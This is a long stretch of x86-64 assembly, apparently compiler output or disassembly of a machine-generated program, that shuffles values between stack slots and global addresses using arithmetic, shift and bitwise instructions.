movsx eax, byte [rsp + 0x1d9]
mov rcx, qword [rsp + 0xa608]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x12a], al
mov rax, qword [rsp + 0xb468]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1128]
shl eax, cl
mov rcx, qword [rsp + 0x8d90]
mov word [rcx], ax
lea rax, [rsp + 0x5248]
mov qword [rsp + 0xbed0], rax
mov rax, qword [rsp + 0x9058]
movzx ecx, al
mov rax, qword [rsp + 0x9b20]
sar rax, cl
mov qword [rsp + 0x93e8], rax
mov rax, qword [rsp + 0xa0a8]
mov qword [rsp + 0xbed8], rax
mov rax, qword [rsp + 0xaa70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5310]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x50f0], eax
mov rax, qword [rsp + 0xba18]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x18c]
add eax, ecx
mov byte [rsp + 0x117], al
movzx eax, word [rsp + 0x12bc]
mov rcx, qword [rsp + 0xba98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8b88]
mov word [rcx], ax
movzx eax, byte [rsp + 0xf4]
mov byte [rsp + 0x1e7], al
mov rax, qword [rsp + 0x8e38]
movsx eax, byte [rax]
mov rcx, qword [0x1401e8d38]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9e58]
mov byte [rcx], al
movzx eax, word [rsp + 0x14e8]
mov word [rsp + 0x15c0], ax
mov rax, qword [rsp + 0xbed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x51a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f70], eax
mov rax, qword [rsp + 0xa490]
mov rcx, qword [rsp + 0x9440]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x98f8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9250]
mov rax, qword [rax]
mov qword [rsp + 0xbee0], rax
mov rax, qword [rsp + 0xad18]
mov eax, dword [rax]
imul eax, dword [rsp + 0x5270]
mov dword [rsp + 0x512c], eax
movzx eax, byte [rsp + 0x1ab]
mov byte [rsp + 0x1e8], al
mov rax, qword [rsp + 0x9e08]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xae18]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1401e7168], ax
mov rax, qword [rsp + 0x9868]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1e7]
sub eax, ecx
mov byte [rsp + 0xe9], al
movzx eax, word [rsp + 0x1378]
mov word [rsp + 0x15c4], ax
mov rax, qword [rsp + 0xbbf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11f4]
sub eax, ecx
mov rcx, qword [rsp + 0xbce8]
mov word [rcx], ax
mov rax, qword [rsp + 0xb0e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa818]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1018], ax
mov rax, qword [rsp + 0xa2d0]
mov rax, qword [rax]
mov qword [rsp + 0xbee8], rax
mov eax, dword [rsp + 0x52c0]
mov ecx, dword [rsp + 0x5048]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0xa950]
mov rax, qword [rax]
mov qword [rsp + 0xbef0], rax
mov eax, dword [rsp + 0x4e90]
cdq
mov rcx, qword [rsp + 0xa978]
idiv dword [rcx]
mov dword [rsp + 0x4f9c], eax
movzx eax, byte [rsp + 0x1b5]
movzx ecx, byte [rsp + 0x1a5]
or eax, ecx
mov byte [0x1401e70aa], al
mov rax, qword [rsp + 0xbce8]
movsx eax, word [rax]
mov rcx, qword [0x1401e8950]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x12b8], ax
lea rax, [rsp + 0x80]
mov qword [rsp + 0xbef8], rax
movzx eax, word [rsp + 0x1358]
mov rcx, qword [rsp + 0xa708]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9208]
mov word [rcx], ax
movzx eax, word [rsp + 0x1248]
mov word [rsp + 0x15c8], ax
mov eax, dword [rsp + 0x5030]
mov ecx, dword [0x1401e7004]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9710]
mov dword [rcx], eax
mov rax, qword [rsp + 0x94b8]
mov rcx, qword [rsp + 0xb678]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
lea rax, [rsp + 0x5224]
mov qword [rsp + 0xbf00], rax
mov rax, qword [rsp + 0xa288]
mov rcx, qword [rsp + 0x9cb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa620]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb8d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb680]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e70ab], al
mov rax, qword [rsp + 0xb9f8]
movzx eax, byte [rax]
mov byte [rsp + 0x1e9], al
mov rax, qword [rsp + 0x90e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbd80]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x90e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x13e]
mov rcx, qword [rsp + 0x9b88]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaca0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbbc0]
movzx eax, byte [rax]
mov byte [rsp + 0x1ea], al
mov eax, dword [rsp + 0x5318]
mov ecx, dword [rsp + 0x516c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xacb0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f70]
mov dword [rsp + 0x5390], eax
mov rax, qword [0x1401e7018]
mov rcx, qword [rsp + 0xbd68]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb0c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa748]
mov qword [rsp + 0xbf08], rax
movzx eax, word [rsp + 0x1478]
mov rcx, qword [rsp + 0xb8e8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e7098], ax
movsx eax, word [rsp + 0x1124]
mov rcx, qword [rsp + 0x8ae8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x151c], ax
movzx eax, byte [rsp + 0xe2]
movzx ecx, byte [rsp + 0xe9]
sar eax, cl
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0xba18]
movzx eax, byte [rax]
mov byte [rsp + 0x1eb], al
mov rax, qword [rsp + 0x9160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb5a8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xae80]
mov word [rcx], ax
mov rax, qword [rsp + 0x8c20]
mov rax, qword [rax]
mov qword [rsp + 0xbf10], rax
mov rax, qword [rsp + 0xa578]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbba0]
mov qword [rsp + 0xbf18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf18]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4ef4], eax
mov eax, dword [rsp + 0x4ddc]
mov ecx, dword [rsp + 0x521c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e40], eax
lea rax, [rsp + 0xace0]
mov qword [rsp + 0xbf20], rax
mov rax, qword [rsp + 0x90a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbb40]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401e70a7], al
movsx eax, byte [rsp + 0x152]
movsx ecx, byte [rsp + 0x115]
add eax, ecx
mov rcx, qword [rsp + 0x9690]
mov byte [rcx], al
lea rax, [rsp + 0x1068]
mov qword [rsp + 0xbf28], rax
mov rax, qword [rsp + 0x9590]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x124c]
sub eax, ecx
mov word [rsp + 0x11b0], ax
mov rax, qword [0x1401e8840]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb7d0]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8c10]
mov word [rcx], ax
mov eax, dword [rsp + 0x51bc]
mov dword [rsp + 0x5394], eax
mov rax, qword [rsp + 0x9af8]
mov rcx, qword [rsp + 0xbb68]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4e48], eax
mov rax, qword [0x1401e8798]
mov rax, qword [rax]
mov qword [rsp + 0xbf30], rax
mov rax, qword [rsp + 0xbcd0]
mov rcx, qword [rsp + 0x8de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xbae8]
mov qword [rcx], rax
lea rax, [rsp + 0x1c2]
mov qword [0x1401e8e10], rax
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
mov word [rsp + 0x15cc], ax
mov rax, qword [rsp + 0xb0d0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14d8]
sub eax, ecx
mov word [rsp + 0x13bc], ax
mov rax, qword [rsp + 0x9470]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1348]
add eax, ecx
mov word [rsp + 0x14c0], ax
lea rax, [0x1401e7082]
mov qword [rsp + 0xbf38], rax
mov rax, qword [rsp + 0xb238]
mov rcx, qword [rsp + 0x8e98]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb1c8]
mov qword [rcx], rax
lea rax, [rsp + 0x51ac]
mov qword [rsp + 0xbf40], rax
mov rax, qword [rsp + 0x9378]
mov ecx, dword [rsp + 0x4fe0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x530c], eax
mov rax, qword [rsp + 0xbc88]
mov rcx, qword [rsp + 0x8b20]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xac90]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa530]
movzx eax, byte [rax]
mov byte [0x1401e889f], al
movzx eax, byte [rsp + 0xc3]
mov byte [rsp + 0x1ec], al
movsx eax, word [rsp + 0x12a0]
mov rcx, qword [rsp + 0x9a48]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x10c0], ax
movzx eax, byte [rsp + 0x186]
mov byte [rsp + 0x1ed], al
mov rax, qword [rsp + 0x8c60]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb190]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xa0d8]
mov word [rcx], ax
mov rax, qword [rsp + 0x96d0]
mov rcx, qword [rsp + 0x9e40]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xac08], rax
mov eax, dword [rsp + 0x4cec]
mov dword [rsp + 0x5398], eax
mov rax, qword [rsp + 0xa680]
mov rcx, qword [rsp + 0x8b20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xbc08], rax
lea rax, [rsp + 0x4e34]
mov qword [rsp + 0xbf48], rax
movzx eax, word [rsp + 0x1284]
movzx ecx, word [rsp + 0x14d8]
and eax, ecx
mov word [0x1401e7074], ax
movsx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0x8ff8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1c6], al
movsx eax, byte [rsp + 0x94]
movsx ecx, byte [rsp + 0x8c]
add eax, ecx
mov byte [rsp + 0x1b9], al
movzx eax, word [rsp + 0x14f0]
mov word [rsp + 0x15d0], ax
mov rax, qword [rsp + 0x9770]
movzx eax, byte [rax]
movzx ecx, byte [0x1401e87a3]
add eax, ecx
mov byte [rsp + 0x7e], al
mov rax, qword [rsp + 0xbc08]
mov qword [rsp + 0xbf50], rax
mov rax, qword [rsp + 0xb0c0]
mov rcx, qword [rsp + 0xa6b8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa950]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ffc]
mov dword [rsp + 0x539c], eax
mov rax, qword [rsp + 0x94f8]
mov rcx, qword [rsp + 0x9738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xb088]
mov dword [rcx], eax
mov rax, qword [rsp + 0xab58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x119]
sub eax, ecx
mov byte [rsp + 0x115], al
movzx eax, byte [0x1401e7046]
movzx ecx, byte [rsp + 0x1db]
sub eax, ecx
mov byte [0x1401e70ae], al
lea rax, [rsp + 0x1284]
mov qword [rsp + 0xbf58], rax
mov rax, qword [rsp + 0xa290]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x103c]
sub eax, ecx
mov word [rsp + 0x11d0], ax
lea rax, [rsp + 0x176]
mov qword [rsp + 0xbf60], rax
mov rax, qword [rsp + 0xb608]
mov rcx, qword [rsp + 0x97a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5030], eax
mov rax, qword [rsp + 0x9680]
mov rcx, qword [rsp + 0x9958]
mov qword [rsp + 0xbf68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf68]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x9a60], rax
lea rax, [0x1401e7008]
mov qword [rsp + 0xbf70], rax
mov rax, qword [rsp + 0x9728]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe40]
mov qword [rsp + 0xbf78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbf78]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8ee8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb058]
movzx eax, byte [rax]
mov byte [rsp + 0x1ee], al
movsx eax, word [rsp + 0x1328]
movsx ecx, word [rsp + 0x1260]
or eax, ecx
mov word [0x1401e70e8], ax
movzx eax, byte [rsp + 0xc6]
mov rcx, qword [rsp + 0x9558]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x90a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x14d0]
mov rcx, qword [0x1401e8c70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb010]
mov word [rcx], ax
lea rax, [rsp + 0x1054]
mov qword [rsp + 0xbf80], rax
mov rax, qword [rsp + 0xab38]
mov rcx, qword [rsp + 0x9308]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa7b8], rax
lea rax, [rsp + 0x50b8]
mov qword [rsp + 0xbf88], rax
mov rax, qword [rsp + 0x9538]
mov ecx, dword [0x1401e7008]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x52b8], eax
mov rax, qword [rsp + 0x9e10]
mov rcx, qword [rsp + 0xbd08]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb788], rax
lea rax, [rsp + 0x169]
mov qword [rsp + 0xbf90], rax
movzx eax, word [0x1401e70c8]
mov rcx, qword [rsp + 0xacd0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e7168], ax
movsx eax, word [rsp + 0x12c4]
movsx ecx, word [rsp + 0x1088]
add eax, ecx
mov word [rsp + 0x1580], ax
lea rax, [rsp + 0x1210]
mov qword [rsp + 0xbf98], rax
mov rax, qword [0x1401e8bc0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9f58]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xb038]
mov byte [rcx], al
mov rax, qword [rsp + 0x8f60]
mov eax, dword [rax]
mov dword [rsp + 0x53a0], eax
mov rax, qword [rsp + 0x8b28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xae20]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9188], rax
mov rax, qword [rsp + 0x9960]
mov rcx, qword [rsp + 0xa748]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xbee0], rax
mov rax, qword [rsp + 0xb088]
mov eax, dword [rax]
mov dword [rsp + 0x53a4], eax
movsx eax, word [rsp + 0x1368]
movsx ecx, word [rsp + 0x12a4]
or eax, ecx
mov word [rsp + 0x14a4], ax
lea rax, [rsp + 0x1204]
mov qword [0x1401e8e18], rax
mov rax, qword [rsp + 0x8e00]
movzx eax, byte [rax]
mov byte [rsp + 0x1ef], al
movzx eax, byte [rsp + 0x1d2]
mov rcx, qword [rsp + 0x8f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x194], al
mov rax, qword [0x1401e8e10]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9558]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x95d8]
mov byte [rcx], al
movzx eax, word [rsp + 0x12b0]
mov word [rsp + 0x15d4], ax
mov rax, qword [rsp + 0x9978]
mov rcx, qword [rsp + 0xadc8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa6a0], rax
mov eax, dword [rsp + 0x4ed4]
mov dword [rsp + 0x53a8], eax
mov rax, qword [rsp + 0xb9e8]
mov rcx, qword [rsp + 0xaa88]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb6e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5370]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5250], eax
lea rax, [0x1401e87e5]
mov qword [0x1401e8e20], rax
mov rax, qword [rsp + 0x9cf8]
movzx eax, word [rax]
mov word [rsp + 0x15d8], ax
mov rax, qword [rsp + 0x9248]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ac0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba18]
mov byte [rcx], al
mov rax, qword [0x1401e8ae8]
movzx eax, byte [rax]
mov byte [rsp + 0x1f0], al
mov rax, qword [rsp + 0x8c88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1228]
sub eax, ecx
mov rcx, qword [rsp + 0xb5c0]
mov word [rcx], ax
mov eax, dword [rsp + 0x525c]
mov dword [rsp + 0x53ac], eax
mov rax, qword [0x1401e7010]
mov rcx, qword [rsp + 0x96d8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa740], rax
mov rax, qword [rsp + 0x9ea0]
mov rcx, qword [rsp + 0x9358]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa660], rax
mov eax, dword [rsp + 0x5130]
mov dword [rsp + 0x53b0], eax
mov rax, qword [rsp + 0xa6a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac18]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401e89b8], ax
mov rax, qword [rsp + 0xa2b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9770]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xdb], al
movzx eax, word [rsp + 0x1560]
mov word [rsp + 0x15dc], ax
movsx eax, word [rsp + 0x1264]
movsx ecx, word [0x1401e8908]
add eax, ecx
mov rcx, qword [rsp + 0xbce8]
mov word [rcx], ax
mov rax, qword [rsp + 0xaef8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x12c]
sub eax, ecx
mov rcx, qword [rsp + 0xbef8]
mov byte [rcx], al
lea rax, [rsp + 0xb278]
mov qword [rsp + 0xbfa0], rax
mov eax, dword [rsp + 0x4f9c]
movzx ecx, al
mov eax, dword [rsp + 0x4f58]
sar eax, cl
mov rcx, qword [rsp + 0xa3c8]
mov dword [rcx], eax
lea rax, [rsp + 0x9188]
mov qword [rsp + 0xbfa8], rax
mov rax, qword [rsp + 0xbf88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50c8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x5394], eax
mov rax, qword [rsp + 0xb428]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaca0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401e70af], al
mov rax, qword [rsp + 0x9260]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10a8]
shl eax, cl
mov word [rsp + 0x1530], ax
lea rax, [rsp + 0x10a4]
mov qword [rsp + 0xbfb0], rax
movzx eax, byte [0x1401e888d]
movzx ecx, byte [rsp + 0x1d8]
and eax, ecx
mov rcx, qword [rsp + 0xac68]
mov byte [rcx], al
mov rax, qword [rsp + 0x8b68]
movzx eax, byte [rax]
mov byte [rsp + 0x1f1], al
mov rax, qword [rsp + 0x9af0]
mov rcx, qword [rsp + 0xbd18]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa748], rax
mov rax, qword [rsp + 0x8c50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbe18]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa828]
mov qword [rcx], rax
mov eax, dword [rsp + 0x539c]
mov dword [rsp + 0x53b4], eax
mov rax, qword [rsp + 0xa588]
mov ecx, dword [rsp + 0x4d84]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb5b8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0xada8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e7077], al
movzx eax, word [rsp + 0x13fc]
mov word [rsp + 0x15e0], ax
mov rax, qword [rsp + 0x8ac0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0xaa58]
movzx eax, word [rax]
mov word [rsp + 0x15e4], ax
movzx eax, byte [rsp + 0xf0]
mov rcx, qword [rsp + 0x9e90]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x195], al
mov rax, qword [rsp + 0xa6d0]
mov rcx, qword [rsp + 0xaf50]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9578]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbf88]
mov eax, dword [rax]
mov dword [rsp + 0x53b8], eax
mov rax, qword [rsp + 0xa950]
mov rcx, qword [rsp + 0xaeb8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9600]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4f90]
mov dword [rsp + 0x53bc], eax
lea rax, [rsp + 0x101c]
mov qword [0x1401e8e28], rax
movsx eax, word [rsp + 0x11e0]
mov rcx, qword [rsp + 0x9938]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x109c], ax
movzx eax, byte [rsp + 0x1ea]
mov rcx, qword [rsp + 0x8bf0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xca], al
lea rax, [rsp + 0x7a]
mov qword [rsp + 0xbfb8], rax
movzx eax, word [rsp + 0x1598]
mov rcx, qword [rsp + 0xbc98]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x9788]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
mov dword [rsp + 0x53c0], eax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0xb6b8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xb0a0], rax
mov rax, qword [rsp + 0xb628]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xad68]
mov qword [rsp + 0xbfc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfc0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb5a0], rax
lea rax, [rsp + 0x4d00]
mov qword [rsp + 0xbfc8], rax
mov rax, qword [0x1401e8a38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x13f]
and eax, ecx
mov byte [0x1401e87f3], al
mov rax, qword [rsp + 0xaab0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xac60]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x11b4], ax
movzx eax, byte [rsp + 0x121]
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0xa7a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x104c]
add eax, ecx
mov word [rsp + 0x13e4], ax
lea rax, [rsp + 0x12d4]
mov qword [rsp + 0xbfd0], rax
mov eax, dword [rsp + 0x513c]
mov ecx, dword [rsp + 0x5354]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x96c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa3b0]
mov rcx, qword [rsp + 0x9578]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fb8], rax
mov eax, dword [rsp + 0x5308]
mov dword [rsp + 0x53c4], eax
mov rax, qword [rsp + 0x9610]
mov rcx, qword [0x1401e7018]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e28], rax
movsx eax, word [rsp + 0x1594]
mov rcx, qword [rsp + 0xabb8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1401e8950]
mov word [rcx], ax
lea rax, [rsp + 0x71]
mov qword [rsp + 0xbfd8], rax
movzx eax, word [rsp + 0x1540]
movzx ecx, word [0x1401e7158]
and eax, ecx
mov word [rsp + 0x1284], ax
movzx eax, byte [rsp + 0x124]
movzx ecx, byte [rsp + 0x1e4]
sub eax, ecx
mov byte [rsp + 0x1d8], al
lea rax, [rsp + 0x80]
mov qword [rsp + 0xbfe0], rax
mov rax, qword [rsp + 0xbdd0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa2f0]
mov qword [rsp + 0xbfe8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbfe8]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9268]
mov qword [rcx], rax
lea rax, [rsp + 0x539c]
mov qword [rsp + 0xbff0], rax
mov rax, qword [rsp + 0x9198]
mov rcx, qword [rsp + 0x9428]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9440], rax
mov eax, dword [0x1401e7008]
mov rcx, qword [rsp + 0xa0b0]
mov qword [rsp + 0xbff8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbff8]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x9f10]
mov dword [rcx], eax
movzx eax, word [rsp + 0x12e4]
mov word [rsp + 0x15e8], ax
lea rax, [rsp + 0x12d]
mov qword [0x1401e8e30], rax
mov rax, qword [rsp + 0x97b0]
movsx eax, word [rax]
mov rcx, qword [0x1401e8bb0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9ab8]
mov word [rcx], ax
mov rax, qword [rsp + 0xbb70]
movzx eax, byte [rax]
mov byte [rsp + 0x1f3], al
mov rax, qword [rsp + 0xb7d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x117c], ax
mov eax, dword [rsp + 0x5388]
mov ecx, dword [rsp + 0x4f8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f04], eax
lea rax, [rsp + 0xb6b8]
mov qword [rsp + 0xc000], rax
mov rax, qword [rsp + 0xa0d0]
mov rcx, qword [rsp + 0x96c0]
mov eax, dword [rax]
imul eax, dword [rcx]
mov rcx, qword [rsp + 0xaa38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa058]
mov qword [rsp + 0xc008], rax
movzx eax, word [rsp + 0x1294]
movzx ecx, word [rsp + 0x13ec]
sub eax, ecx
mov rcx, qword [rsp + 0x9ca0]
mov word [rcx], ax
mov rax, qword [rsp + 0x99c8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb058]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x1401e8af0]
mov byte [rcx], al
mov rax, qword [rsp + 0xaf10]
movzx eax, word [rax]
mov word [rsp + 0x15ec], ax
movzx eax, byte [0x1401e888e]
movzx ecx, byte [rsp + 0x76]
add eax, ecx
mov byte [rsp + 0x11b], al
movzx eax, word [rsp + 0x1024]
movzx ecx, word [rsp + 0x14fc]
sub eax, ecx
mov rcx, qword [rsp + 0xade8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa158]
mov qword [rsp + 0xc010], rax
mov rax, qword [rsp + 0xb398]
mov ecx, dword [rsp + 0x4e68]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x50bc], eax
lea rax, [rsp + 0xb220]
mov qword [rsp + 0xc018], rax
mov rax, qword [rsp + 0x93c0]
mov rcx, qword [rsp + 0xa250]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50c0], eax
mov rax, qword [rsp + 0x97f8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1584]
add eax, ecx
mov word [rsp + 0x1330], ax
movzx eax, byte [rsp + 0xe8]
mov byte [0x1401e88c2], al
lea rax, [rsp + 0x1078]
mov qword [rsp + 0xc020], rax
mov rax, qword [rsp + 0xb9b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xaa30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x1be], al
movzx eax, byte [rsp + 0x19c]
mov byte [rsp + 0x1f4], al
mov eax, dword [rsp + 0x5338]
movzx ecx, al
mov eax, dword [rsp + 0x4f7c]
shl eax, cl
mov dword [rsp + 0x502c], eax
mov rax, qword [rsp + 0xa978]
mov rcx, qword [rsp + 0x9cf0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4ee8], eax
mov rax, qword [rsp + 0xb0b8]
mov qword [rsp + 0xc028], rax
mov rax, qword [rsp + 0xbe70]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x9a08]
sar rax, cl
mov qword [rsp + 0xb670], rax
